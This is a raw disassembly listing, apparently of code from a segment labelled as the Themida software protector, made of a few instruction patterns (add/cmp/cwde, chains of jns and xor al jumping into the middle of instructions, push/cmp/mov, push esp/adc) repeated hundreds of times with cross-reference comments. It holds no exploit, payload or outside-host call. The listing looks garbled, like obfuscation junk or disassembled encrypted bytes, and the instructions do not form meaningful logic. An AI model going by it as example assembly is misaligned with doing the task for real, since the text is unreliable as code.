add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h ; CODE XREF: Themida_:00603A56j
loc_603A43: ; CODE XREF: Themida_:00603A5Aj
; Themida_:00603A5Ej
cmp dword ptr [edi], 3F810598h
cwde
add eax, 5983F81h ; CODE XREF: Themida_:00603A62j
loc_603A4F: ; CODE XREF: Themida_:00603A66j
; Themida_:00603A6Aj
cmp dword ptr [edi], 3F810598h
cwde
jns short near ptr loc_603A3E+1 ; CODE XREF: Themida_:00603A6Ej
xor al, 3Eh
jns short loc_603A43 ; CODE XREF: Themida_:00603A72j
xor al, 3Eh
jns short near ptr loc_603A43+4 ; CODE XREF: Themida_:00603A76j
xor al, 3Eh
jns short near ptr loc_603A4A+1 ; CODE XREF: Themida_:00603A7Aj
xor al, 3Eh
jns short loc_603A4F ; CODE XREF: Themida_:00603A7Ej
xor al, 3Eh
jns short near ptr loc_603A4F+4 ; CODE XREF: Themida_:00603A82j
xor al, 3Eh
jns short near ptr loc_603A56+1 ; CODE XREF: Themida_:00603A86j
xor al, 3Eh
jns short near ptr loc_603A5A+1 ; CODE XREF: Themida_:00603A8Aj
xor al, 3Eh
jns short near ptr loc_603A5E+1 ; CODE XREF: Themida_:00603A8Ej
xor al, 3Eh
jns short near ptr loc_603A62+1 ; CODE XREF: Themida_:00603A92j
xor al, 3Eh
jns short near ptr loc_603A66+1 ; CODE XREF: Themida_:00603A96j
xor al, 3Eh
jns short near ptr loc_603A6A+1 ; CODE XREF: Themida_:00603A9Aj
xor al, 3Eh
jns short near ptr loc_603A6E+1 ; CODE XREF: Themida_:00603A9Ej
xor al, 3Eh
jns short near ptr loc_603A72+1 ; CODE XREF: Themida_:00603AA2j
xor al, 3Eh
jns short near ptr loc_603A76+1 ; CODE XREF: Themida_:00603AA6j
xor al, 3Eh
jns short near ptr loc_603A7A+1 ; CODE XREF: Themida_:00603AAAj
xor al, 3Eh
jns short near ptr loc_603A7E+1 ; CODE XREF: Themida_:00603AAEj
xor al, 3Eh
jns short near ptr loc_603A82+1 ; CODE XREF: Themida_:00603AB2j
xor al, 3Eh
jns short near ptr loc_603A86+1 ; CODE XREF: Themida_:00603AB6j
xor al, 3Eh
jns short near ptr loc_603A8A+1 ; CODE XREF: Themida_:00603ABAj
xor al, 3Eh
jns short near ptr loc_603A8E+1 ; CODE XREF: Themida_:00603ABEj
xor al, 3Eh
jns short near ptr loc_603A92+1 ; CODE XREF: Themida_:00603AC2j
xor al, 3Eh
jns short near ptr loc_603A96+1 ; CODE XREF: Themida_:00603AC6j
xor al, 3Eh
jns short near ptr loc_603A9A+1 ; CODE XREF: Themida_:00603ACAj
xor al, 3Eh
jns short near ptr loc_603A9E+1 ; CODE XREF: Themida_:00603ACEj
xor al, 3Eh
jns short near ptr loc_603AA2+1 ; CODE XREF: Themida_:00603AD2j
xor al, 3Eh
jns short near ptr loc_603AA6+1 ; CODE XREF: Themida_:00603AD6j
xor al, 3Eh
jns short near ptr loc_603AAA+1 ; CODE XREF: Themida_:00603ADAj
xor al, 3Eh
jns short near ptr loc_603AAE+1 ; CODE XREF: Themida_:00603ADEj
xor al, 3Eh
jns short near ptr loc_603AB2+1 ; CODE XREF: Themida_:00603AE2j
xor al, 3Eh
jns short near ptr loc_603AB6+1 ; CODE XREF: Themida_:00603AE6j
xor al, 3Eh
jns short near ptr loc_603ABA+1 ; CODE XREF: Themida_:00603AEAj
xor al, 3Eh
jns short near ptr loc_603ABE+1 ; CODE XREF: Themida_:00603AEEj
xor al, 3Eh
jns short near ptr loc_603AC2+1 ; CODE XREF: Themida_:00603AF2j
xor al, 3Eh
jns short near ptr loc_603AC6+1 ; CODE XREF: Themida_:00603AF6j
xor al, 3Eh
jns short near ptr loc_603ACA+1 ; CODE XREF: Themida_:00603AFAj
xor al, 3Eh
jns short near ptr loc_603ACE+1 ; CODE XREF: Themida_:00603AFEj
xor al, 3Eh
jns short near ptr loc_603AD2+1 ; CODE XREF: Themida_:00603B02j
xor al, 3Eh
jns short near ptr loc_603AD6+1 ; CODE XREF: Themida_:00603B06j
xor al, 3Eh
jns short near ptr loc_603ADA+1 ; CODE XREF: Themida_:00603B0Aj
xor al, 3Eh
jns short near ptr loc_603ADE+1 ; CODE XREF: Themida_:00603B0Ej
xor al, 3Eh
jns short near ptr loc_603AE2+1 ; CODE XREF: Themida_:00603B12j
xor al, 3Eh
jns short near ptr loc_603AE6+1 ; CODE XREF: Themida_:00603B16j
xor al, 3Eh
jns short near ptr loc_603AEA+1 ; CODE XREF: Themida_:00603B1Aj
xor al, 3Eh
jns short near ptr loc_603AEE+1 ; CODE XREF: Themida_:00603B1Ej
xor al, 3Eh
jns short near ptr loc_603AF2+1 ; CODE XREF: Themida_:00603B22j
xor al, 3Eh
jns short near ptr loc_603AF6+1 ; CODE XREF: Themida_:00603B26j
xor al, 3Eh
jns short near ptr loc_603AFA+1 ; CODE XREF: Themida_:00603B2Aj
xor al, 3Eh
jns short near ptr loc_603AFE+1 ; CODE XREF: Themida_:00603B2Ej
xor al, 3Eh
jns short near ptr loc_603B02+1 ; CODE XREF: Themida_:00603B32j
xor al, 3Eh
jns short near ptr loc_603B06+1 ; CODE XREF: Themida_:00603B36j
xor al, 3Eh
jns short near ptr loc_603B0A+1 ; CODE XREF: Themida_:00603B3Aj
xor al, 3Eh
jns short near ptr loc_603B0E+1 ; CODE XREF: Themida_:00603B3Ej
xor al, 3Eh
jns short near ptr loc_603B12+1 ; CODE XREF: Themida_:00603B42j
xor al, 3Eh
jns short near ptr loc_603B16+1 ; CODE XREF: Themida_:00603B46j
xor al, 3Eh
jns short near ptr loc_603B1A+1 ; CODE XREF: Themida_:00603B4Aj
xor al, 3Eh
jns short near ptr loc_603B1E+1 ; CODE XREF: Themida_:00603B4Ej
xor al, 3Eh
jns short near ptr loc_603B22+1 ; CODE XREF: Themida_:00603B52j
xor al, 3Eh
jns short near ptr loc_603B26+1 ; CODE XREF: Themida_:00603B56j
xor al, 3Eh
jns short near ptr loc_603B2A+1 ; CODE XREF: Themida_:00603B5Aj
xor al, 3Eh
jns short near ptr loc_603B2E+1 ; CODE XREF: Themida_:00603B5Ej
xor al, 3Eh
jns short near ptr loc_603B32+1 ; CODE XREF: Themida_:00603B62j
xor al, 3Eh
jns short near ptr loc_603B36+1 ; CODE XREF: Themida_:00603B66j
xor al, 3Eh
jns short near ptr loc_603B3A+1 ; CODE XREF: Themida_:00603B6Aj
xor al, 3Eh
jns short near ptr loc_603B3E+1 ; CODE XREF: Themida_:00603B6Ej
xor al, 3Eh
jns short near ptr loc_603B42+1 ; CODE XREF: Themida_:00603B72j
xor al, 3Eh
jns short near ptr loc_603B46+1 ; CODE XREF: Themida_:00603B76j
xor al, 3Eh
jns short near ptr loc_603B4A+1 ; CODE XREF: Themida_:00603B7Aj
xor al, 3Eh
jns short near ptr loc_603B4E+1 ; CODE XREF: Themida_:00603B7Ej
xor al, 3Eh
jns short near ptr loc_603B52+1 ; CODE XREF: Themida_:00603B82j
xor al, 3Eh
jns short near ptr loc_603B56+1 ; CODE XREF: Themida_:00603B86j
xor al, 3Eh
jns short near ptr loc_603B5A+1 ; CODE XREF: Themida_:00603B8Aj
xor al, 3Eh
jns short near ptr loc_603B5E+1 ; CODE XREF: Themida_:00603B8Ej
xor al, 3Eh
jns short near ptr loc_603B62+1 ; CODE XREF: Themida_:00603B92j
xor al, 3Eh
jns short near ptr loc_603B66+1 ; CODE XREF: Themida_:00603B96j
xor al, 3Eh
jns short near ptr loc_603B6A+1 ; CODE XREF: Themida_:00603B9Aj
xor al, 3Eh
jns short near ptr loc_603B6E+1 ; CODE XREF: Themida_:00603B9Ej
xor al, 3Eh
jns short near ptr loc_603B72+1 ; CODE XREF: Themida_:00603BA2j
xor al, 3Eh
jns short near ptr loc_603B76+1 ; CODE XREF: Themida_:00603BA6j
xor al, 3Eh
jns short near ptr loc_603B7A+1 ; CODE XREF: Themida_:00603BAAj
xor al, 3Eh
jns short near ptr loc_603B7E+1 ; CODE XREF: Themida_:00603BAEj
xor al, 3Eh
jns short near ptr loc_603B82+1 ; CODE XREF: Themida_:00603BB2j
xor al, 3Eh
jns short near ptr loc_603B86+1 ; CODE XREF: Themida_:00603BB6j
xor al, 3Eh
jns short near ptr loc_603B8A+1 ; CODE XREF: Themida_:00603BBAj
xor al, 3Eh
jns short near ptr loc_603B8E+1 ; CODE XREF: Themida_:00603BBEj
xor al, 3Eh
jns short near ptr loc_603B92+1 ; CODE XREF: Themida_:00603BC2j
xor al, 3Eh
jns short near ptr loc_603B96+1 ; CODE XREF: Themida_:00603BC6j
xor al, 3Eh
jns short near ptr loc_603B9A+1 ; CODE XREF: Themida_:00603BCAj
xor al, 3Eh
jns short near ptr loc_603B9E+1 ; CODE XREF: Themida_:00603BCEj
xor al, 3Eh
jns short near ptr loc_603BA2+1 ; CODE XREF: Themida_:00603BD2j
xor al, 3Eh
jns short near ptr loc_603BA6+1 ; CODE XREF: Themida_:00603BD6j
xor al, 3Eh
jns short near ptr loc_603BAA+1 ; CODE XREF: Themida_:00603BDAj
xor al, 3Eh
jns short near ptr loc_603BAE+1 ; CODE XREF: Themida_:00603BDEj
xor al, 3Eh
jns short near ptr loc_603BB2+1 ; CODE XREF: Themida_:00603BE2j
xor al, 3Eh
jns short near ptr loc_603BB6+1 ; CODE XREF: Themida_:00603BE6j
; Themida_:00603C3Ej
xor al, 3Eh
jns short near ptr loc_603BBA+1 ; CODE XREF: Themida_:00603BEAj
xor al, 3Eh
jns short near ptr loc_603BBE+1 ; CODE XREF: Themida_:00603BEEj
xor al, 3Eh
jns short near ptr loc_603BC2+1 ; CODE XREF: Themida_:00603BF2j
xor al, 3Eh
jns short near ptr loc_603BC6+1 ; CODE XREF: Themida_:00603BF6j
xor al, 3Eh
jns short near ptr loc_603BCA+1 ; CODE XREF: Themida_:00603BFAj
xor al, 3Eh
jns short near ptr loc_603BCE+1 ; CODE XREF: Themida_:00603BFEj
xor al, 3Eh
jns short near ptr loc_603BD2+1 ; CODE XREF: Themida_:00603C02j
xor al, 3Eh
jns short near ptr loc_603BD6+1 ; CODE XREF: Themida_:00603C06j
xor al, 3Eh
jns short near ptr loc_603BDA+1 ; CODE XREF: Themida_:00603C0Aj
xor al, 3Eh
jns short near ptr loc_603BDE+1 ; CODE XREF: Themida_:00603C0Ej
xor al, 3Eh
jns short near ptr loc_603BE2+1 ; CODE XREF: Themida_:00603C12j
xor al, 3Eh
jns short near ptr loc_603BE6+1 ; CODE XREF: Themida_:00603C16j
xor al, 3Eh
jns short near ptr loc_603BEA+1 ; CODE XREF: Themida_:00603C1Aj
xor al, 3Eh
jns short near ptr loc_603BEE+1 ; CODE XREF: Themida_:00603C1Ej
xor al, 3Eh
jns short near ptr loc_603BF2+1 ; CODE XREF: Themida_:00603C22j
xor al, 3Eh
jns short near ptr loc_603BF6+1 ; CODE XREF: Themida_:00603C26j
xor al, 3Eh
jns short near ptr loc_603BFA+1 ; CODE XREF: Themida_:00603C2Aj
xor al, 3Eh
jns short near ptr loc_603BFE+1 ; CODE XREF: Themida_:00603C2Ej
xor al, 3Eh
jns short near ptr loc_603C02+1 ; CODE XREF: Themida_:00603C32j
xor al, 3Eh
jns short near ptr loc_603C06+1 ; CODE XREF: Themida_:00603C36j
xor al, 3Eh
jns short near ptr loc_603C0A+1 ; CODE XREF: Themida_:00603C3Aj
xor al, 3Eh
jns short near ptr loc_603C0E+1
xor al, 3Eh
jns short near ptr loc_603C12+1
xor al, 3Eh
jns short near ptr loc_603C16+1
xor al, 3Eh
jns short near ptr loc_603C1A+1
xor al, 3Eh
jns short near ptr loc_603C1E+1
xor al, 3Eh
jns short near ptr loc_603C22+1
xor al, 3Eh
jns short near ptr loc_603BCE+1
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
push eax
cmp eax, 3D508F89h
mov [edi-7076C2B0h], ecx
cmpsd
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
adc esi, [ebp-59h]
push esp
